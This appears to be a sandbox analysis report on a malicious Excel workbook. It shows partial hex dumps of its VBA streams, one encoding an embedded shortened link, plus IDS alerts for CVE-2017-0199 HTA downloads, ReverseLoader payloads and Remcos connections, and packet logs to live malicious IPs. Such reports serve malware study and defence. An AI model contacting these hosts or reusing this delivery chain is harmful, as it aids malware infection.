                                                                                                                                                                Data Raw:01 00 00 02 25 68 ac 30 a0 6c 33 63 00 00 00 00 00 00 00 00 00 00 00 00 48 01 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b 44 01 00 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 6c 00 6a 00 67 00 2e 00 63 00 6c 00 2f 00 66 00 57 00 73 00 6d 00 3f 00 26 00 6c 00 79 00 6e 00 78 00 3d 00 77 00 69 00 63 00 6b 00 65 00 64 00 26 00 63 00 61 00 6c 00 6d 00 3d 00 75 00 6e 00
                                                                                                                                                                Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 396111
                                                                                                                                                                General
                                                                                                                                                                Stream Path:Workbook
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:Applesoft BASIC program data, first line number 16
                                                                                                                                                                Stream Size:396111
                                                                                                                                                                Entropy:7.998972441985984
                                                                                                                                                                Base64 Encoded:True
                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . / . 6 . . . . . . . 9 . , = . ! . C s . ~ . ( + . G . > . . . . . . . . D . . . \\ . p . b # 7 O . Q . V j } ' H . A x . c ? . . I L . - M 5 0 . . ~ f ^ . . . . . . / . x p K % F 4 . | z x . : P . _ x Q . Q s 0 . . . . [ . B . . . @ a . . . X . . . = . . . b | B . . . $ y . [ M C . . . . . . . . . z . . . . . . . . . . U { . . . ' . . . . _ = . . . X ; L v ' " W . _ 4 @ . . . x . . . , " . . . ` i . . . . . . . . i . . . E 1 . . . 0 : . . q . a 4 . 1 ] ! _ J . . q 1 . .
                                                                                                                                                                Data Raw:09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 e1 c0 39 97 09 20 ad 2c 8d 8c ab a7 96 8a dd 3d 09 ba 21 0b f8 c9 e0 43 94 dd 73 96 aa cb 81 7e f2 90 0e ae 28 2b 9b 8e b1 c7 08 47 14 3e f8 c9 e1 00 02 00 b0 04 c1 00 02 00 0a 44 e2 00 00 00 5c 00 70 00 62 23 37 8b 4f a6 08 d9 51 a1 00 cc 56 86 6a de 7d bf 27 48 0c 41 78 0e 63 af 3f cc af 86
                                                                                                                                                                Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 523
                                                                                                                                                                General
                                                                                                                                                                Stream Path:_VBA_PROJECT_CUR/PROJECT
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                Stream Size:523
                                                                                                                                                                Entropy:5.202135118333349
                                                                                                                                                                Base64 Encoded:True
                                                                                                                                                                Data ASCII:I D = " { 8 F 3 0 E 5 8 6 - D 4 5 E - 4 8 0 8 - 9 D 8 1 - 8 D 3 4 E A D B F 1 7 A } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 1 B 1 9 E 4 1 D E D 2 1 E D 2 1 E
                                                                                                                                                                Data Raw:49 44 3d 22 7b 38 46 33 30 45 35 38 36 2d 44 34 35 45 2d 34 38 30 38 2d 39 44 38 31 2d 38 44 33 34 45 41 44 42 46 31 37 41 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30
                                                                                                                                                                Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104
                                                                                                                                                                General
                                                                                                                                                                Stream Path:_VBA_PROJECT_CUR/PROJECTwm
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:data
                                                                                                                                                                Stream Size:104
                                                                                                                                                                Entropy:3.0488640812019017
                                                                                                                                                                Base64 Encoded:False
                                                                                                                                                                Data ASCII:T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
                                                                                                                                                                Data Raw:54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00
                                                                                                                                                                Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644
                                                                                                                                                                General
                                                                                                                                                                Stream Path:_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:data
                                                                                                                                                                Stream Size:2644
                                                                                                                                                                Entropy:3.9881229888561007
                                                                                                                                                                Base64 Encoded:False
                                                                                                                                                                Data ASCII:a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
                                                                                                                                                                Data Raw:cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00
                                                                                                                                                                Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553
                                                                                                                                                                General
                                                                                                                                                                Stream Path:_VBA_PROJECT_CUR/VBA/dir
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:data
                                                                                                                                                                Stream Size:553
                                                                                                                                                                Entropy:6.359890346664945
                                                                                                                                                                Base64 Encoded:True
                                                                                                                                                                Data ASCII:. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . f L Z i . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 .
                                                                                                                                                                Data Raw:01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 66 4c 5a 69 08 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

                                                                                                                                                                Network Behavior

                                                                                                                                                                Suricata IDS Alerts

                                                                                                                                                                TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                                2024-11-28T11:01:21.845871+01002057635ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound1172.232.175.16680192.168.2.2249175TCP
                                                                                                                                                                2024-11-28T11:01:21.845871+01002057635ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound1172.232.175.16680192.168.2.2249178TCP
                                                                                                                                                                2024-11-28T11:01:21.845871+01002858295ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)1172.232.175.16680192.168.2.2249175TCP
                                                                                                                                                                2024-11-28T11:01:21.845871+01002858295ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)1172.232.175.16680192.168.2.2249178TCP
                                                                                                                                                                2024-11-28T11:01:25.724030+01002024449ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl1192.168.2.2249164172.232.175.16680TCP
                                                                                                                                                                2024-11-28T11:01:25.724070+01002024197ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)1172.232.175.16680192.168.2.2249164TCP
                                                                                                                                                                2024-11-28T11:01:31.908595+01002024449ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl1192.168.2.2249166172.232.175.16680TCP
                                                                                                                                                                2024-11-28T11:01:31.908611+01002024197ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)1172.232.175.16680192.168.2.2249166TCP
                                                                                                                                                                2024-11-28T11:01:46.961494+01002858795ETPRO MALWARE ReverseLoader Payload Request (GET) M21192.168.2.2249168172.232.175.16680TCP
                                                                                                                                                                2024-11-28T11:01:51.116320+01002024449ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl1192.168.2.2249172172.232.175.16680TCP
                                                                                                                                                                2024-11-28T11:02:01.767565+01002049038ET MALWARE ReverseLoader Reverse Base64 Loader In Image M21193.30.119.112443192.168.2.2249173TCP
                                                                                                                                                                2024-11-28T11:02:07.461544+01002049038ET MALWARE ReverseLoader Reverse Base64 Loader In Image M21193.30.119.112443192.168.2.2249174TCP
                                                                                                                                                                2024-11-28T11:02:15.089204+01002020424ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M11172.232.175.16680192.168.2.2249175TCP
                                                                                                                                                                2024-11-28T11:02:15.089204+01002020425ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound M21172.232.175.16680192.168.2.2249175TCP
                                                                                                                                                                2024-11-28T11:02:19.196385+01002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.224917631.13.224.722431TCP
                                                                                                                                                                2024-11-28T11:02:21.687476+01002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.224917731.13.224.722431TCP
                                                                                                                                                                2024-11-28T11:02:22.054467+01002020424ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M11172.232.175.16680192.168.2.2249178TCP
                                                                                                                                                                2024-11-28T11:02:22.054467+01002020425ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound M21172.232.175.16680192.168.2.2249178TCP
                                                                                                                                                                2024-11-28T11:02:22.517273+01002803304ETPRO MALWARE Common Downloader Header Pattern HCa3192.168.2.2249179178.237.33.5080TCP

                                                                                                                                                                Network Port Distribution

                                                                                                                                                                TCP Packets

                                                                                                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                Nov 28, 2024 11:01:22.113122940 CET49163443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:22.113153934 CET44349163152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:22.113207102 CET49163443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:22.118314028 CET49163443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:22.118339062 CET44349163152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:23.670439005 CET44349163152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:23.670562983 CET49163443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:23.675640106 CET49163443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:23.675657988 CET44349163152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:23.676035881 CET44349163152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:23.680048943 CET49163443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:23.750873089 CET49163443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:23.795326948 CET44349163152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:24.278090954 CET44349163152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:24.278374910 CET49163443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:24.278384924 CET44349163152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:24.278431892 CET49163443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:24.278495073 CET44349163152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:24.278567076 CET49163443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:24.279632092 CET49163443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:24.279643059 CET44349163152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:24.290973902 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:24.410836935 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:24.410897970 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:24.411125898 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:24.531344891 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.723920107 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.723944902 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.723958969 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.724030018 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.724070072 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.724087954 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.724101067 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.724102020 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.724114895 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.724123955 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.724142075 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.724339962 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.724358082 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.724373102 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.724390984 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.724395037 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.724395037 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.724426031 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.724433899 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.729808092 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.844158888 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.844206095 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.844230890 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.844248056 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.934382915 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.934427977 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.934551001 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.934588909 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.938613892 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.938659906 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.938678026 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.938714027 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.947079897 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.947125912 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.947175980 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.947217941 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.955499887 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.955538988 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.955610037 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.955647945 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.964035988 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.964081049 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.964087009 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.964118004 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.972341061 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.972398043 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.972420931 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.972451925 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.980740070 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.980809927 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.980837107 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.980878115 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.989192009 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.989255905 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.989285946 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.989375114 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.997534990 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.997591972 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:25.997651100 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:25.997689009 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.006000042 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.006053925 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.006094933 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.006134033 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.014455080 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.014523029 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.014550924 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.014590979 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.144778967 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.144855022 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.144865990 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.144912958 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.146434069 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.146487951 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.146641970 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.146689892 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.151767015 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.151844978 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.151874065 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.151932955 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.157391071 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.157458067 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.157494068 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.157541990 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.158257008 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.158301115 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.162720919 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.162770987 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.162842035 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.162889004 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.168116093 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.168181896 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.168240070 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.168292046 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.173547983 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.173597097 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.173634052 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.173675060 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.178958893 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.179003000 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.179132938 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.179172993 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.184412003 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.184465885 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.184500933 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.184537888 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.189863920 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.189913034 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.190129042 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.190169096 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.195303917 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.195364952 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.195415020 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.195457935 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.200680017 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.200728893 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.200789928 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.200845957 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.206104040 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.206166029 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.206243038 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.206288099 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.211590052 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.211654902 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.211739063 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.211781979 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.217017889 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.217072010 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.217107058 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.217149973 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.222435951 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.222482920 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.222553968 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.222599030 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.228051901 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.228127003 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.228239059 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.228282928 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.233300924 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.233361959 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:26.233474970 CET8049164172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.233519077 CET4916480192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:27.084228039 CET49165443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:27.084265947 CET44349165152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:27.084311008 CET49165443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:27.167960882 CET49165443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:27.167996883 CET44349165152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:29.892610073 CET44349165152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:29.892677069 CET49165443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:29.892707109 CET49165443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:29.898531914 CET49165443192.168.2.22152.231.117.86
